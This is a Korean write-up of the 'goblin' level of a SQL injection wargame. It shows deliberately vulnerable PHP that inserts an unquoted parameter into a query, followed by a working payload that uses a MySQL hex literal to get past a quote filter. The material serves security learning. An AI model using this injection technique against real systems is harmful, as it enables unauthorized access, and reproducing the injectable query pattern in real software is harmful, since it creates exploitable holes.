문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__);
?>

idguest로 고정되어 있고 입력 가능한 값은 no뿐입니다. 또한 따옴표가 필터링되어서 id='admin'처럼 문자열을 직접 만들 수 없습니다.

exploit

?no=0 or id=0x61646d696e

URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.

?no=0%20or%20id=0x61646d696e

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e

0x61646d696eadmin을 16진수로 표현한 값입니다. MySQL에서는 문자열 비교에서 16진수 리터럴을 문자열처럼 사용할 수 있으므로 따옴표 없이 admin을 표현할 수 있습니다.

배운 내용

  • 따옴표가 막혀도 MySQL의 hex literal을 이용해 문자열을 표현할 수 있습니다.
  • andor보다 우선순위가 높기 때문에 쿼리는 (id='guest' and no=0) or id='admin'처럼 동작합니다.
  • 필터가 막는 문자 자체보다, SQL에서 같은 의미를 만드는 다른 표현을 찾는 것이 중요합니다.